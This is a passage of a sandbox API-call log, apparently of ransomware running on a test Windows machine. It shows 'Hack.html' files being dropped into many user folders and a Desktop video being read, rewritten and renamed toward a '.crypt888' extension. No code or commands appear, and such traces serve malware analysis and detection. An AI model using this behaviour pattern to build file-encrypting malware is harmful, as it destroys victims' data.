hFile=0x174, lpBuffer=0x26e7ce0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x26e7ce0*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0079.778] CloseHandle (hObject=0x174) returned 1 [0079.779] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Hack.html", lpFilePart=0x0) returned 0x3f [0079.779] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.779] GetFileType (hFile=0x174) returned 0x1 [0079.779] GetFileType (hFile=0x174) returned 0x1 [0079.779] WriteFile (in: hFile=0x174, lpBuffer=0x26ea4e0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x26ea4e0*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0079.780] CloseHandle (hObject=0x174) returned 1 [0079.781] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Hack.html", lpFilePart=0x0) returned 0x37 [0079.781] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.781] GetFileType (hFile=0x174) returned 0x1 [0079.781] GetFileType (hFile=0x174) returned 0x1 [0079.782] WriteFile (in: hFile=0x174, lpBuffer=0x26eccc0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x26eccc0*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0079.783] CloseHandle (hObject=0x174) returned 1 [0079.783] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Hack.html", lpFilePart=0x0) returned 0x2f [0079.783] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.783] GetFileType (hFile=0x174) returned 0x1 [0079.783] GetFileType (hFile=0x174) returned 0x1 [0079.784] WriteFile (in: hFile=0x174, lpBuffer=0x26ef480*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26ef480*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0079.785] CloseHandle (hObject=0x174) returned 1 [0079.785] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", lpFilePart=0x0) returned 0x2e [0079.785] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\", lpFilePart=0x0) returned 0x2f [0079.785] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0xffffffff [0079.787] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\Hack.html", lpFilePart=0x0) returned 0x38 [0079.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0079.787] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\application data\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.788] GetFileType (hFile=0x174) returned 0x1 [0079.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0079.788] GetFileType (hFile=0x174) returned 0x1 [0079.788] WriteFile (in: hFile=0x174, lpBuffer=0x26f2888*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26f2888*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0079.789] CloseHandle (hObject=0x174) returned 1 [0079.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0079.789] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26 [0079.789] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\", lpFilePart=0x0) returned 0x27 [0079.789] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a728 [0079.790] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.790] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.790] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.790] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.790] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.790] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.790] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.791] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.791] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0079.791] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0079.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0079.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0079.791] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26 [0079.791] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\", lpFilePart=0x0) returned 0x27 [0079.791] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a728 [0079.792] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.792] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.792] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.792] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.792] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.792] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.793] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.793] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.793] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0079.793] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0079.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0079.794] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Hack.html", lpFilePart=0x0) returned 0x30 [0079.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0079.794] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.794] GetFileType (hFile=0x174) returned 0x1 [0079.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0079.794] GetFileType (hFile=0x174) returned 0x1 [0079.795] WriteFile (in: hFile=0x174, lpBuffer=0x26f79e4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26f79e4*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0079.795] CloseHandle (hObject=0x174) returned 1 [0079.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0079.796] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", lpFilePart=0x0) returned 0x25 [0079.796] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\", lpFilePart=0x0) returned 0x26 [0079.796] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0xffffffff [0079.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed88) returned 1 [0079.798] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\Hack.html", lpFilePart=0x0) returned 0x2f [0079.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0079.798] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\cookies\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.799] GetFileType (hFile=0x174) returned 0x1 [0079.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0079.799] GetFileType (hFile=0x174) returned 0x1 [0079.799] WriteFile (in: hFile=0x174, lpBuffer=0x26fad04*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26fad04*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0079.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0079.800] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0079.800] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0079.800] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a728 [0079.800] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.801] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.801] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.801] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.801] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.801] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.801] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.801] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.802] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.802] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.802] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.802] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.802] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.802] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.802] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.802] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.803] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.803] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.803] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.803] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.803] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.803] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.803] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.804] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.804] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.804] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.804] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.804] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.804] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.804] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0079.804] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0079.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0079.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0079.805] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0079.805] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0079.805] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a728 [0079.805] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.805] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.806] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.806] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.806] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.806] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.806] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.806] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.807] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.807] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.807] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.807] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.807] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.807] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.808] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.808] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.808] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.808] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.808] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.809] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.809] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.809] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.809] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.809] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.809] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.809] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.810] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.810] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.810] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0079.810] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0079.810] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0079.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0079.811] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\18WH5g-qtjsBOmKtKTPd.mp4", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\18WH5g-qtjsBOmKtKTPd.mp4", lpFilePart=0x0) returned 0x3e [0079.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0079.811] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\18WH5g-qtjsBOmKtKTPd.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\18wh5g-qtjsbomktktpd.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0079.811] GetFileType (hFile=0x174) returned 0x1 [0079.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0079.811] GetFileType (hFile=0x174) returned 0x1 [0079.811] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x1361e [0079.811] ReadFile (in: hFile=0x174, lpBuffer=0x270216c, nNumberOfBytesToRead=0x1361e, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x270216c*, lpNumberOfBytesRead=0x39ed58*=0x1361e, lpOverlapped=0x0) returned 1 [0079.868] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\18WH5g-qtjsBOmKtKTPd.mp4", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\18WH5g-qtjsBOmKtKTPd.mp4", lpFilePart=0x0) returned 0x3e [0079.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0079.869] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\18WH5g-qtjsBOmKtKTPd.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\18wh5g-qtjsbomktktpd.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0079.871] GetFileType (hFile=0x174) returned 0x1 [0079.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0079.871] GetFileType (hFile=0x174) returned 0x1 [0079.871] WriteFile (in: hFile=0x174, lpBuffer=0x2789304*, nNumberOfBytesToWrite=0x13620, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x2789304*, lpNumberOfBytesWritten=0x39ed48*=0x13620, lpOverlapped=0x0) returned 1 [0079.874] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\18WH5g-qtjsBOmKtKTPd.mp4", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\18WH5g-qtjsBOmKtKTPd.mp4", lpFilePart=0x0) returned 0x3e [0079.874] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\18WH5g-qtjsBOmKtKTPd.mp4.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\18WH5g-qtjsBOmKtKTPd.mp4.crypt888", lpFilePart=0x0) returned 0x47 [0079.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0079.874] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\18WH5g-qtjsBOmKtKTPd.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\18wh5g-qtjsbomktktpd.mp4"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b435c0, ftCreationTime.dwHighDateTime=0x1d45be1, ftLastAccessTime.dwLowDateTime=0x562b8640, ftLastAccessTime.dwHighDateTime=0x1d45a55, ftLastWriteTime.dwLowDateTime=0xc0cf6ac0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x13620)) returned 1 [0079.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0079.874] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\18WH5g-qtjsBOmKtKTPd.mp4" (normalized: "c:\\users\\5p5nrgjn0js 